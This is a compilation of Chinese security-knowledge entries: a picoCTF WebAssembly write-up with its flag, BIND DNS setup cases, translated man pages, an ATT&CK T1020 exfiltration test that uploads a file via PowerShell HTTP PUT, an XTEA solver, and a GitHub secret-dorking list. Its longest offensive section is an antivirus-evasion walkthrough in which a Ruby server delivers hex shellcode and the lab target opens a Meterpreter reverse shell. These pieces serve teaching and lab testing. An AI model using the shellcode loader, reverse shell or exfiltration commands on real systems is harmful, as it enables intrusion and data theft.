var ra:int = e[7]:int;
return ra;
}
export function check_flag():int {
var a:int = 0;
var b:int = 1072;
var c:int = 1024;
var d:int = strcmp(c, b);
var e:int = d;
var f:int = a;
var g:int = e != f;
var h:int = -1;
var i:int = g ^ h;
var j:int = 1;
var k:int = i & j;
return k;
}
function copy(a:int, b:int) {
var c:int = g_a;
var d:int = 16;
var e:int_ptr = c - d;
e[3] = a;
e[2] = b;
var f:int = e[3];
var g:byte_ptr = e[2];
g[1072] = f;
}
```
Now, if we try to get a high-level understanding of what's happening in `copy` and `check_flag`, we can see that `copy` takes the first parameter `a` (which according to the Javascript source is a character from the flag) and saves it at offset `1072+b` where `b` is the index of the character in the original user input. So basically it's just storing the flag, starting at offset `1072`, character after character.
`check_flag` calls `strcmp` between memory location `1072` (where we saved the user input) and memory location `1024` (where the flag is saved). It then performs some weird manipulations on the result (which can be compressed to `(((strcmp_res != 0) ^ (-1)) & 1)`). This seems to be a complicated way to say that if `strcmp` returned `0` (i.e. the strings were equal) then the return value will be `1`, and otherwise it will be `0`. So basically it just reflects if the user input is equal to the stored flag.
The flag: `picoCTF{8857462f9e30faae4d037e5e25fee1ce}`
|
sec-knowleage
|
# DNS 配置案例
---
## 基本配置
- www.abc.com 解析为 192.168.192.1
- 192.168.192.1 解析为 www.abc.com
- ftp.abc.com 解析为 192.168.192.2
- 192.168.192.2 解析为 ftp.abc.com
```vim
vim /etc/named.rfc1912.zones
zone "abc.com." IN {
type master;
file "z";
allow-update { none; };
};
zone "192.168.192.in-addr.arpa" IN {
type master;
file "f";
allow-update { none; };
};
```
```bash
cd /var/named/
cp named.localhost z
cp named.loopback f
chown named z
chown named f
```
```vim
vim /var/named/z
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
www A 192.168.192.1
ftp A 192.168.192.2
vim /var/named/f
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
PTR localhost.
1 PTR www.abc.com.
2 PTR ftp.abc.com.
```
```bash
systemctl restart named
```
---
### 案例 1
配置 DNS 服务，将相关主机名添加 A 记录，分别为 www.abc.com、ftp.abc.com、vpn.abc.com、web.abc.com;
**安装**
```bash
yum -y install bind-*
```
**修改主配置文件**
```vim
vim /etc/named.conf
options {
# 找到以下三个语句，将其括号中的内容修改为any
listen-on port 53 { any; };
listen-on-v6 port 53 { any; };
allow-query { any; };
```
**区域配置文件**
```vim
vim /etc/named.rfc1912.zones
zone "abc.com." IN {
type master;
file "www.localhost";
};
zone "1.192.168.192.in-addr.arpa" IN {
type master;
file "www.loopback";
};
```
分别复制 named.localhost 和 named.loopback 为 www.localhost 和 www.loopback
```bash
cd /var/named/
cp named.localhost www.localhost
cp named.loopback www.loopback
chown named www.localhost
chown named www.loopback
# 因为配置文件是在 root 用户下建立的，所以启动 BIND 进程的 named 用户无法读取，会造成不能解析.
```
**域名正向反向解析配置文件**
```vim
vim /var/named/www.localhost
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
www A 192.168.192.1
ftp A 192.168.192.1
vpn A 192.168.192.1
web A 192.168.192.1
vim /var/named/www.loopback
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
PTR localhost.
1 PTR www.abc.com.
1 PTR ftp.abc.com.
1 PTR vpn.abc.com.
1 PTR web.abc.com.
!!!注意域名后面的 "点号" 不能少
```
**配置文件语法检查**
```bash
named-checkconf # 检查配置文件中的语法/etc/named.conf /etc/named.rfc1912.zones
named-checkzone abc.com www.localhost # 解析库文件语法检查
named-checkzone abc.com www.loopback
```
**关闭安全措施**
```bash
setenforce 0
firewall-cmd --zone=public --add-service=dns --permanent
firewall-cmd --reload
service named start
```
---
### 案例 2
- 监听所有地址;
- 允许所有机器查询;
- 将 ftp.abc.com 解析至主机 B 公网 IP:1.1.1.1;
- 将 www.abc.com 解析至主机 A 公网 IP:1.1.2.1;
- 建立反向简析区域完成 ftp.abc.com，www.abc.com，域名的反向解析;
- 只允许主机 B 192.168.XX+1.22 的 ip 进行区域传送.
**安装**
```bash
yum -y install bind-*
```
**修改主配置文件**
```vim
vim /etc/named.conf
options {
# 找到以下三个语句，将其括号中的内容修改为any
listen-on port 53 { any; };
listen-on-v6 port 53 { any; };
allow-query { any; };
```
**区域配置文件**
```vim
vim /etc/named.rfc1912.zones
zone "abc.com" IN {
type master;
file "abc.localhost";
allow-transfer{192.168.37.22;};
};
zone "1.1.1.in-addr.arpa" IN {
type master;
file "abc.loopback";
allow-transfer{192.168.37.22;};
};
zone "2.1.1.in-addr.arpa" IN {
type master;
file "www.loopback";
allow-transfer{192.168.37.22;};
};
```
分别复制 named.localhost 和 named.loopback 为 abc.localhost 和 abc.loopback 和 www.loopback
```bash
cd /var/named/
cp named.localhost abc.localhost
cp named.loopback abc.loopback
cp named.loopback www.loopback
chown named abc.localhost
chown named abc.loopback
chown named www.loopback
```
**域名正向反向解析配置文件**
```vim
vim /var/named/abc.localhost
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
ftp A 1.1.1.1
www A 1.1.2.1
vim /var/named/abc.loopback
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
PTR localhost.
1 PTR ftp.abc.com.
vim /var/named/www.loopback
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
PTR localhost.
1 PTR www.abc.com.
```
```bash
named-checkconf
named-checkzone abc.com abc.localhost
named-checkzone abc.com abc.loopback
named-checkzone abc.com www.loopback
service named restart
```
**关闭安全措施**
```bash
setenforce 0
firewall-cmd --zone=public --add-service=dns --permanent
firewall-cmd --reload
```
---
### 案例 3
- 监听当前主机的所有地址;
- 允许所有主机查询和递归查询;
- 区域定义均配置在 `/etc/named.conf` 文件中;
- abc.com 的区域数据文件名为 abc.com.zone;
- 配置反向域数据文件名为 172.16.0.zone
- 为 www.abc.com 添加 A 记录解析，解析至 serverA 的公网 IP;
- 为 ftp.abc.com 添加 A 记录解析，解析至 serverB 的公网 IP.
- 为 serverA、serverB 的公网 IP 添加 www、ftp 的 PTR 解析记录
**安装**
```bash
yum -y install bind-*
```
**修改主配置文件,顺便加上区域**
```vim
vim /etc/named.conf
options {
listen-on port 53 { any; };
allow-query { any; };
recursion yes;
}
zone "abc.com" IN {
type master;
file "abc.com.zone";
};
zone "0.16.172.in-addr.arpa" IN {
type master;
file "172.16.0.zone";
};
```
复制 named.localhost 和 named.loopback 为 abc.com.zone 和 172.16.0.zone
```bash
cd /var/named/
cp named.localhost abc.com.zone
cp named.loopback 172.16.0.zone
chown named abc.com.zone
chown named 172.16.0.zone
```
**域名正向反向解析配置文件**
```vim
vim /var/named/abc.com.zone
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
ftp A 172.16.0.2
www A 172.16.0.1
vim /var/named/172.16.0.zone
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
PTR localhost.
2 PTR ftp.abc.com.
1 PTR www.abc.com.
```
```bash
named-checkconf
named-checkzone abc.com abc.com.zone
named-checkzone abc.com 172.16.0.zone
service named restart
```
**关闭安全措施**
```bash
setenforce 0
firewall-cmd --zone=public --add-service=dns --permanent
firewall-cmd --reload
```
如果没有 dig 命令就用 `yum install -y bind-utils` 装一下
使用 dig www.abc.com 命令解析 A 记录
使用 dig -x 公网 IP 命令解析 PTR 记录
---
### 案例 4
- 配置 abc.com 域的从 DNS 服务，主 DNS 为主机 A;
- 配置 0.16.172 反向域的从 DNS 服务，主 DNS 为主机 A;
- 监听所有地址;
- 允许所有机器查询.(住:这会产生域传送漏洞)
**安装**
```bash
yum install -y bind-*
```
**修改主配置文件**
```vim
vim /etc/named.conf
options {
# 找到以下三个语句，将其括号中的内容修改为any
listen-on port 53 { any; };
listen-on-v6 port 53 { any; };
allow-query { any; };
```
**区域配置文件**
```vim
vim /etc/named.rfc1912.zones
zone "abc.com" IN {
type slave;
file "slaves/abc.com.zone";
masters {192.168.xx.xx;};
};
zone "0.16.172.in-addr.arpa" IN {
type slave;
file "slaves/172.16.0.zone";
masters {192.168.xx.xx;};
};
```
**给权限**
```bash
cd /var/named/
chown named:named slaves
chmod 770 slaves
```
**起服务**
```bash
service named start
setenforce 0
firewall-cmd --zone=public --add-service=dns --permanent
firewall-cmd --reload
```
**主 DNS 也重启下服务**
```bash
service named restart
```
|
sec-knowleage
|
.TH swat 8 "23 Oct 1998" "Samba"
.SH NAME
swat - 基于web的samba管理工具
.SH 总览
.B swat [
.B -s
.I smb config file
] [
.B -a
]
.SH 描述
.PP
此程序是
.B samba
套件的一部分。
.PP
.B swat
允许
.B samba
管理员通过web浏览器配置复杂的
.BI smb.conf
文件。另外，
.B swat
配置页可以帮助管理员检查链接所有在
.BI smb.conf
文件中的可配置项并可以简单地查看任何的改变效果。
.PP
.B swat
在
.B inetd
中运行。
.SH 选项
.TP
.B -s
.I smb configuration file
检查编译时建立的默认配置文件路径。
指定的文件包含了
.B smbd
服务器所需的详细配置信息。
.B swat
可以修改这个文件。文件包含了服务
器的特殊信息如使用的
.BI printcap
文件，还有所有提供的服务的描述。请参见
.BI smb.conf (5)
获得更
多信息。
.TP
.B -a
用这个选项禁止授权验证并使
.B swat
在演示模式下运行。在此模式下任何人都可以修改
.BI smb.conf
配置文件。不要在正式的服务器上使用这个选项哦。
.SH 安装
在编译完
.BR SWAT
后你需要运行
.BI "make install"
来安装
.B swat
二进制程序和各种帮助文件和图片。默认情况下这些东东都被放入以下目录中：
.br
/usr/local/samba/bin/swat
.br
/usr/local/samba/swat/images/*
.br
/usr/local/samba/swat/help/*
.SH 关于INETD的安装
.PP
你需要编辑
.BI /etc/inetd.conf
和
.BI /etc/services
来允许通过
.BI inetd
来运行
.BR SWAT。
.PP
在/etc/services中你需要象这样加入一行内容：
.br
.BI "swat 901/tcp"
.PP
注意对于NIS/YP的用户来说，可能需要重新建立NIS服务映射，因为这比修改本地/etc/services文件更好。
.PP
对于端口号的选择并不十分重要，除了它应该小于
.B 1024
以外就是不应该是当前正在使用的端口号(使用
.B 1024
以上的端口号可能出现未知的安全漏洞，这取决于你的
.BI inetd
守护程序的运行情况)。
.PP
在/etc/inetd.conf文件中你应该添加这样的内容：
.br
.B "swat stream tcp nowait.400 root /usr/local/samba/bin/swat swat "
.PP
在编辑
.B /etc/services
和
.B /etc/inetd.conf
文件时有件事需要做一下，就是向
.B inetd
发送一个
.BR HUP
信号。可以用“
.BI kill -1 PID
”命令来做这步操作，当然了，
.BR PID
就是
.B inetd
守护程序的进程号。
.SH 运行
.PP
要运行
.B swat
你只要在自己的web浏览器中查看
.BI "http://localhost:901/"
地址。
.PP
注意你可以从任何可联网主机的IP上访问
.B swat
，但是从远程主机联接的话，在线的口令传送可以很容易地被监听。
.SH 相关文件
.PP
.B /etc/inetd.conf
.br
此文件包含了超级守护程序所使用的适当的启动信息。
.PP
.B /etc/services
.br
这个文件必须包含一系列服务名(如
.B swa
t)、服务端口(如
.B 901
)和协议类型(如
.B tcp
)的映射。
.PP
.B /usr/local/samba/lib/smb.conf
.br
默认情况下
.B swat
会编辑这个目录下的
.BI smb.conf
服务器配置文件。另外一些系统安装此文件的位置通
常是
.BI "/usr/samba/lib/smb.conf和/etc/smb.conf。"
.PP
这个配置文件描述了客户可以获得的所有服务。参见
.BI smb.conf (5)
获得详细信息。
.SH 警告
swat会重写你的smb.conf文件。它将重新安排各项内容并删掉所有注释，"include="和"copy="选项。如果你想谨慎一些的话先备份或者不要用swat！
.SH 版本
此手册页是针对samba套件版本2.0的。
.SH 另见
inetd (8), nmbd (8), smb.conf (5).
.SH 作者
.PP
samba软件和相关工具最初由Andrew Tridgell samba-bugs@samba.org创建。samba现在由开发组作为类似Linux内核开发采用的开放源代码计划方式来发展。
.PP
samba手册页最初由Karl Auer撰写。它的源码已被转换成YODL(一种极好的开放源代码软件，可以在ftp://ftp.icce.rug.nl/pub/unix/处获得)格式并已由Jeremy Allison更新到samba2.0版本。
.PP
请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
atq
===
列出当前用户的at任务列表
## 补充说明
**atq命令** 显示系统中待执行的任务列表，也就是列出当前用户的at任务列表。
### 语法
```shell
atq [-V] [-q 队列] [-v]
```
### 选项
```shell
-V：显示版本号；
-q：查询指定队列的任务。
```
### 实例
```shell
at now + 10 minutes
at> echo 1111
at> <eot>
job 3 at Fri Apr 26 12:56:00 2013
atq
3 Fri Apr 26 12:56:00 2013 a root
```
|
sec-knowleage
|
# T1020-win-自动渗出
## 来自ATT&CK的描述
攻击者可能会在收集期间通过使用自动处理来渗出数据，例如敏感文件。
当使用自动渗出时，其他渗出技术可能也适用于将信息转移出网络，如通过C2通道渗出和通过替代协议渗出。
## 测试案例
IcedID Botnet HTTP PUT
创建一个文本文件，试图通过带有ContentType Header的HTTP PUT方法上传到服务器上，删除一个创建的文件
攻击命令，请使用Powershell执行：
```
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
```
file：C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1020\test.txt
domain：<https://google.com>
删除命令：
```
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
```
## 检测日志
暂无，经过本地复现，Windows安全日志、Sysmon日志未记录到此命令的执行情况。实际上Windows Powershell日志可能会记录相关操作记录。
## 测试复现
### 测试1 IcedID Botnet HTTP PUT
```
PS C:\Users\zhuli> $fileName = "C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1020\test.txt"
PS C:\Users\zhuli> $url = "https://google.com"
PS C:\Users\zhuli> $fileName = "C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1020\test.txt"
PS C:\Users\zhuli> $url = "https://google.com"
PS C:\Users\zhuli> $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
PS C:\Users\zhuli> $contentType = "application/octet-stream"
PS C:\Users\zhuli> try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
PS C:\Users\zhuli> $fileName = "C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1020\test.txt"
PS C:\Users\zhuli> Remove-Item -Path $fileName -ErrorAction Ignore
```
Windows Server 2019测试失败，根据报错信息来看，主要问题在domain位置。
## 日志留痕
暂无
## 检测规则/思路
### 建议
监控进程文件访问模式和网络行为。未被识别的进程或脚本如果看起来在遍历文件系统或发送网络流量，是很可疑的行为。
## 参考推荐
MITRE-ATT&CK-T1020
<https://attack.mitre.org/techniques/T1020>
Atomic-red-team-T1006
<https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1020>
|
sec-knowleage
|
#include <cstdint>
#include <cstdio>
// http://tpforums.org/forum/threads/2158-XTEA-Encryption-Decryption-Code/page4
void process_decrypt(uint32_t *v, uint32_t *k){
uint32_t v0 = v[0], v1 = v[1], i,
delta = 0x61C88647,
sum = 0xC6EF3720;
for(i = 0; i < 32; i++){
v1 -= ((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum >> 11 & 3]);
sum += delta;
v0 -= ((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}
void print(uint32_t x){
printf("%c%c%c%c", x&0xFF, (x&0xFF00)>>8,
(x&0xFF0000)>>16, (x&0xFF000000)>>24);
}
int main(){
uint32_t key[]={0x74616877U, 0x696F6773U, 0x6E6F676E, 0x65726568};
for(int i=0;i<4;i++){
print(key[i]);
}
printf("\n");
uint32_t matrix[]={
2990080719,
722035088,
1368334760,
1473172750,
412774077,
3386066071,
3804000291,
563111828,
3342378109,
0x4De3F9FD
};
for(int i=0;i<5;i++){
process_decrypt(matrix+2*i, key);
}
for(int i=0;i<10;i++){
print(matrix[i]);
}
}
|
sec-knowleage
|
dirs
===
显示目录堆栈。
## 语法
```shell
dirs [-clpv] [+N] [-N]
```
## 主要用途
- 显示目录堆栈。
- 清空目录堆栈。
## 选项
```shell
-c 清空目录堆栈。
-l 堆栈内以~开头的目录在显示时展开。
-p 将目录堆栈内的每一个目录按行显示。
-v 将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。
```
## 参数
+N（可选）：不带参数执行`dirs`命令显示的列表中，左起的第N个目录将被显示。（从0开始计数）
-N（可选）：不带参数执行`dirs`命令显示的列表中，右起的第N个目录将被显示。（从0开始计数）
## 返回值
返回成功除非提供了非法选项或执行出现错误。
## 例子
```shell
# 添加目录到堆栈。
[user2@pc ~]$ dirs
~
[user2@pc ~]$ pushd -n ~/Desktop
~ ~/Desktop
[user2@pc ~]$ pushd -n ~/Pictures
~ ~/Pictures ~/Desktop
[user2@pc ~]$ pushd -n ~/bin
~ ~/bin ~/Pictures ~/Desktop
# 选项和参数的示例：
[user2@pc ~]$ dirs -l
/home/user2 /home/user2/bin /home/user2/Pictures /home/user2/Desktop
[user2@pc ~]$ dirs -p
~
~/bin
~/Pictures
~/Desktop
[user2@pc ~]$ dirs -v
0 ~
1 ~/bin
2 ~/Pictures
3 ~/Desktop
[user2@pc ~]$ dirs +2
~/Pictures
[user2@pc ~]$ dirs -2
~/bin
[user2@pc ~]$ dirs -c
[user2@pc ~]$ dirs
~
```
### 注意
1. `bash`的目录堆栈命令包括`dirs popd pushd`。
2. 当前目录始终是目录堆栈的顶部。
3. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
**攻击机：** 192.168.1.4 Debian
**靶机：** 192.168.1.2 Windows 2008
目标机安装：360卫士+360杀毒
```bash
[*] 磁盘列表 [ C:D:E: ]
C:\inetpub\wwwroot\> tasklist
映像名称 PID 会话名 会话\# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 372 K
smss.exe 236 0 956 K
csrss.exe 324 0 5,572 K
csrss.exe 364 1 14,452 K
wininit.exe 372 0 4,508 K
winlogon.exe 408 1 5,364 K
services.exe 468 0 7,376 K
lsass.exe 476 0 9,896 K
lsm.exe 484 0 3,876 K
svchost.exe 576 0 8,684 K
vmacthlp.exe 632 0 3,784 K
svchost.exe 676 0 7,384 K
svchost.exe 764 0 12,716 K
svchost.exe 800 0 29,792 K
svchost.exe 848 0 11,248 K
svchost.exe 900 0 9,308 K
svchost.exe 940 0 16,184 K
svchost.exe 332 0 11,800 K
spoolsv.exe 548 0 15,568 K
svchost.exe 1052 0 8,228 K
svchost.exe 1076 0 8,808 K
svchost.exe 1144 0 2,576 K
VGAuthService.exe 1216 0 10,360 K
vmtoolsd.exe 1300 0 18,068 K
ManagementAgentHost.exe 1332 0 8,844 K
svchost.exe 1368 0 11,884 K
WmiPrvSE.exe 1768 0 13,016 K
dllhost.exe 1848 0 11,224 K
msdtc.exe 1940 0 7,736 K
WmiPrvSE.exe 1440 0 19,768 K
mscorsvw.exe 296 0 4,732 K
mscorsvw.exe 584 0 5,088 K
sppsvc.exe 1476 0 8,408 K
taskhost.exe 2612 1 6,344 K
dwm.exe 2868 1 4,604 K
explorer.exe 2896 1 44,912 K
vmtoolsd.exe 3008 1 17,744 K
TrustedInstaller.exe 2268 0 15,776 K
360Tray.exe 2684 1 6,056 K
360sd.exe 2636 1 1,316 K
ZhuDongFangYu.exe 2456 0 14,292 K
360rp.exe 1712 1 27,072 K
SoftMgrLite.exe 864 1 16,816 K
w3wp.exe 3300 0 42,836 K
svchost.exe 3840 0 4,584 K
notepad.exe 3712 1 5,772 K
cmd.exe 3384 0 2,376 K
conhost.exe 3520 0 3,420 K
tasklist.exe 3096 0 5,276 K 58
```
```bash
C:\> dir
驱动器 C 中的卷没有标签。
卷的序列号是 C6F8‐9BAB
C:\ 的目录
2017/12/13 03:28 <DIR> inetpub
2009/07/14 11:20 <DIR> PerfLogs
2017/12/13 03:28 <DIR> Program Files
2019/01/23 14:09 <DIR> Program Files (x86)
2019/01/23 14:15 <DIR> Users
2017/12/13 03:25 <DIR> Windows
0 个文件 0 字节
6 个目录 21,387,132,928 可用字节
```
### 目标机位x64位 Windows 2008
```bash
C:\> ver
Microsoft Windows [版本 6.1.7600]
```
### 配置payload：
```ruby
root@John:/var/www/html# cat ./Micropoor_rev.rb
require 'socket'
if ARGV.empty?
puts "Usage:"
puts "Micropoor.rb port"
exit
end
PORT = ARGV.first.to_i
def handle_connection(client)
puts "Payload is on‐line \#{client}"
client.write("4831c94881e9c0ffffff488d05efffffff48bb32667fcceeadb9f74
8315827482df8ffffffe2f4ce2efc281e4575f732663e9daffdeba6642e4e1e8be532a552
2ef49ef6e532a5122ef4bebee5b640782c32fd27e588379e5a1eb0ec8199b6f3af728def6
c5b1a60272e8465ff997c705a37cd3ecb388f2a6d7dc36bdfb9f732edff44eeadb9bfb7a6
0baba6ac69a7b92e678865ed99be33b69c9aa65270b6b952f784ef7bf4c6fb2e4e0c42ec7
83e3f277e0dd64dcc067e6533e8e6e8802647be278865ed9dbe33b6198d65a1f1b3b92663
85ef7df87c36ee37cd3eece1b66a382696aff5f8ae733c374f028df8a5cd86278db7f7f17
c208f34331152e4be8c110cfeb19e8bf732272985674bf176dec67ecceee430127bda7dcc
ee98795f33623e98a7245dbbbb973e76a2da9ff0cdb3334504c5b8f63266268d5484399c3
299aaa6e4ece7a7622b4e05a39c79bfcda637452ce546377aefbe8d5447b628d299aa8467
6ad3e7733e33450ce5300e73dce6699acc4622b7a60bc6a7527782d78eeccceeadf174de7
637450ce0883e58623e94a62440b68864a604b1526c74ca660199a62e7dd76cef89a6aeec
e09f32767fccaff5f17ec02e4e05af17e15361838019a6247abebba132fd27e430077aefa
5846754f84d30bfb79311783a0f321b5794affae09f32267fccaff5d3f76827c5c7c1a289
08e731268d54d8d7ba5399aa85116350cbcd998084ef6ef1def42efa3a9b19f808d53e15ccb7e47e35c2d3dd9a1178b9f7")
client.close
end
socket = TCPServer.new('0.0.0.0', PORT)
puts "Listening on \#{PORT}. "
while client = socket.accept
Thread.new { handle_connection(client)}
end
root@John:/var/www/html# ruby ./Micropoor_rev.rb 8080
Listening on 8080.
```
### 上传Micropoor_shellcode_x64.exe
### 配置msf：
```bash
msf exploit(multi/handler) > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```
### 靶机执行：
```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.2
[*] Meterpreter session 6 opened (192.168.1.4:53 ‐> 192.168.1.2:49744)
at 2019‐01‐23 01:29:00 ‐0500
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > sysinfo
Computer : WIN‐5BMI9HGC42S
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:bc:0d:5c
MTU : 1500
IPv4 Address : 192.168.1.2
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::5582:70c8:a5a8:8223
IPv6 Netmask : ffff:ffff:ffff:ffff::
```
```bash
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐
0 0 [System Process]
4 0 System
236 4 smss.exe
296 468 mscorsvw.exe
324 316 csrss.exe
332 468 svchost.exe
364 356 csrss.exe
372 316 wininit.exe
408 356 winlogon.exe
468 372 services.exe
476 372 lsass.exe
484 372 lsm.exe
548 468 spoolsv.exe
576 468 svchost.exe
584 468 mscorsvw.exe
632 468 vmacthlp.exe
676 468 svchost.exe
764 468 svchost.exe
800 468 svchost.exe
848 468 svchost.exe
864 2684 SoftMgrLite.exe
900 468 svchost.exe
940 468 svchost.exe
1052 468 svchost.exe
1076 468 svchost.exe
1144 468 svchost.exe
1216 468 VGAuthService.exe
1300 468 vmtoolsd.exe
1332 468 ManagementAgentHost.exe
1368 468 svchost.exe
1440 576 WmiPrvSE.exe
1476 468 sppsvc.exe
1712 2636 360rp.exe
1768 576 WmiPrvSE.exe
1848 468 dllhost.exe
1940 468 msdtc.exe
2456 468 ZhuDongFangYu.exe
2612 468 taskhost.exe
2636 1096 360sd.exe
2684 1096 360Tray.exe
2788 3408 Micropoor_shellcode_x64.exe x64 0 IIS APPPOOL\DefaultAppPool C:\inetpub\wwwroot\Micropoor_shellcode_x64.exe
2868 900 dwm.exe
2896 2852 explorer.exe
3008 2896 vmtoolsd.exe
3196 468 svchost.exe
3300 1368 w3wp.exe x64 0 IIS APPPOOL\DefaultAppPool c:\windows\system32\inetsrv\w3wp.exe
3408 3300 cmd.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\system32\cmd.exe
3712 2896 notepad.exe
4092 324 conhost.exe x64 0 IIS APPPOOL\DefaultAppPool C:\Windows\system32\conhost.exe
meterpreter >
```
### 靶机：
### 附录：
Micropoor_shellcode for payload backdoor
https://micropoor.blogspot.com/2019/01/micropoorshellcode-for-payload-backdoor.html
> Micropoor
|
sec-knowleage
|
.\" -*-Nroff-*-
.\" This page Copyright (C) 1993 Matt Welsh, mdw@sunsite.unc.edu.
.\" Freely distributable under the terms of the GPL
.TH FREE 1 "20 Mar 1993 " "Cohesive Systems" "Linux User's Manual"
.SH NAME
free \- 显示系统中已用和未用的内存空间总和.
.SH 总览 (SYNOPSIS)
.BR "free " [ "\-b" " | " "\-k" " | " "\-m" "] [" "\-o" "] [" "\-s"
.I delay
.RB "] [" "\-t" "] [" "\-V" ]
.SH 描述 (DESCRIPTION)
\fBfree\fP 显示 系统中 已用和未用的 物理内存和交换内存, 共享内存和
内核使用的 缓冲区的 总和.
.SH 选项 (Options)
\fB-b\fP 选项 以字节为单位 显示 内存总和; \fB-k\fP 选项 (缺省的)
以 KB 为单位 显示; \fB-m\fP 选项 以 MB 为单位.
.PP
\fB-t\fP 选项 显示 一个 总计行.
.PP
\fB-o\fP 选项 禁止 "buffer adjusted" 行的显示. 除非 指定 \fBfree\fP 从
(相应的) 已用/未用的 内存 减去/加上 缓冲区内存.
.PP
\fB-s\fP 使 \fBfree\fP 以 \fIdelay\fP 秒为间隔, 连续抽样显示. \fIdelay\fP
可以设置成浮点数, 它用
.BR usleep (3)
做 微秒级 延迟.
.PP
\fB\-V\fP 显示版本信息.
.SH 文件 (FILES)
.ta
.IR /proc/meminfo "\-\- 内存信息"
.fi
.SH 另见
.BR ps (1),
.BR top(1)
.SH 作者
由 Brian Edmonds 编写
Bug 报告寄给 <procps-bugs@redhat.com>
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.BR 2001/12/17
第一版
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# GitHub Dorking
## List
- 0dysAuQ5KQk=
- 0GITHUB_TOKEN=
- 0HB_CODESIGN_GPG_PASS=
- 0HB_CODESIGN_KEY_PASS=
- 0KNAME=
- 0NC6O0ThWq69BcWmrtbD2ev0UDivbG8OQ1ZsSDm9UqVA=
- 0PUSHOVER_TOKEN=
- 0PUSHOVER_USER=
